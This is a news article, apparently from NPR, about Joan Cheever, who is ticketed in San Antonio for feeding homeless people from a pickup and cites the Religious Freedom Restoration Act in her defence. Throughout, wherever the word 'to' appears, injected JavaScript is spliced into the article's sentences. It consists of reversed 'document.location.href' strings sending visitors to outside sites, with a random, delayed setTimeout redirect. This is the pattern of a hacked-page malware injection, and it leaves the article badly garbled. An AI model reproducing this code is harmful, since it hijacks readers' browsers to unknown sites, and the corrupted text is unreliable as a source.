David Martin Davies, When Feeding The Homeless Runs Afoul Of The Law, NPR
Every Tuesday night, Joan Cheever hits the streets of San Andoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonio doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to feed the homeless. In a decade, she’s rarely missed a night. But on a recent, windy Tuesday, something new happens.
The police show up.
“He says we have doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have a permit,” Cheever says. “We have a permit. We are a licensed nonprofit food truck.”
Cheever runs a nonprofit called the Chow Train. Her food truck is licensed by the city. On this night, she has loaded the back of a pickup with catering equipment and hot meals and driven doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to San Andoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonio’s Maverick Park, near a noisy downdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town highway.
Officer Mike Marrota asks doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see her permit.
Documents are produced, but there’s a problem: The permit is for the food truck, not her pickup. Cheever argues that the food truck, where she cooks the meals, is doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too big doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to drive down the alleyways she often navigates in search of the homeless.
“I tell you guys and the mayor, that we have a legal right doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do this,” Cheever says doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Marrota.
Marrota asks, “Legal right based on what?”
The Freedom of Religion Resdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act, Cheever tells him, or RFRA, a federal law which protects free exercise of religion.
The officer isn’t buying it. He writes her a ticket, with a fine of up doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to $2,000, making clear that San Andoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonio tickets even good Samaritans if they don’t comply with the letter of the law.
The National Coalition for the Homeless says upwards of 30 cities have some kind of ban on distributing free food for the homeless. Many, including San Andoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonio, want doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to consolidate services for the homeless in one location — often, away from doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourists.
Does invoking RFRA give Cheever and other good Samaritans license doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ignore the law?
“That is not, actually, an easy question doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to answer,” says Michael Ariens, law professor at St. Mary’s University in San Andoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonio. “RFRA applies when the government of any type substantially burdens an individual’s free exercise of religion.”
The key phrase is “substantially burdens,” Ariens says.
“RFRA doesn’t allow any do-gooder doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to simply doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do whatever they wish — doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make a law ondoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to themselves without interference from local or state government,” he says.
Cheever complains that San Andoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonio has joined other cities in turning feeding the homeless indoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a crime.
On the next Tuesday night, Cheever is back in Maverick Park, risking another ticket. She could even be arrested.
But this time there are no police. Cheever and her Chow Train volunteers are greeted by dozens of supporters and homeless people.
“It warms my heart, but it doesn’t surprise me, because the community is behind me and they are behind every other nonprofit that does what I do,” she says.
In late June, Cheever says, she will challenge the ticket in court.